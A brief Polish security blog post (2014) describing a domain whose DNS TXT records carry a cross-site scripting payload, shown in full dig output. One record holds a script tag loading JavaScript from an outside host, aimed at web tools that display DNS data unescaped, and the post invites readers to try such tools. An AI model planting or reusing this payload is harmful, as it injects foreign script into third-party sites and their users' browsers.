XSS w DNS bo czemu by nie

dodał 18 września 2014 o 20:57 w kategorii Drobiazgi  z tagami:

Jeśli myślicie, że widzieliście już błędy XSS we wszystkich możliwych miejscach, to spójrzcie na wpisy DNS (a szczególnie na pola TXT) domeny jamiehankins.co.uk. Dla leniwych wersja podana na talerzu poniżej:

; <<>> DiG 9.8.3-P1 <<>> txt jamiehankins.co.uk
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 60523
;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 2, ADDITIONAL: 3

;; QUESTION SECTION:
;jamiehankins.co.uk.		IN	TXT

;; ANSWER SECTION:
jamiehankins.co.uk.	281	IN	TXT	"<script src='//peniscorp.com/topkek.js'></script>"
jamiehankins.co.uk.	281	IN	TXT	"<iframe width='420' height='315' src='//www.youtube.com/embed/dQw4w9WgXcQ?autoplay=0' frameborder='0' allowfullscreen></iframe>"
jamiehankins.co.uk.	281	IN	TXT	"google-site-verification=nZUP4BagJAjQZO6AImXyzJZBXBf9s1FbDZr8pzNLTCI"
jamiehankins.co.uk.	281	IN	TXT	"v=spf1 include:spf.mandrillapp.com ?all"

;; AUTHORITY SECTION:
jamiehankins.co.uk.	172769	IN	NS	hank.ns.cloudflare.com.
jamiehankins.co.uk.	172769	IN	NS	lucy.ns.cloudflare.com.

;; ADDITIONAL SECTION:
hank.ns.cloudflare.com.	48812	IN	A	173.245.59.116
hank.ns.cloudflare.com.	48812	IN	AAAA	2400:cb00:2049:1::adf5:3b74
lucy.ns.cloudflare.com.	75780	IN	A	173.245.58.133

;; Query time: 26 msec
;; SERVER: 192.168.1.1#53(192.168.1.1)
;; WHEN: Thu Sep 18 13:31:34 2014
;; MSG SIZE  rcvd: 486

A teraz pytanie jaki to da efekt na różnych stronach, wyświetlających dane DNS? Spróbować możecie na przykład tutaj albo tutaj. Sprytne.

PS. Niezłe sztuczki z DNSami pokazywał też swojego czasu Jakub Żoczek.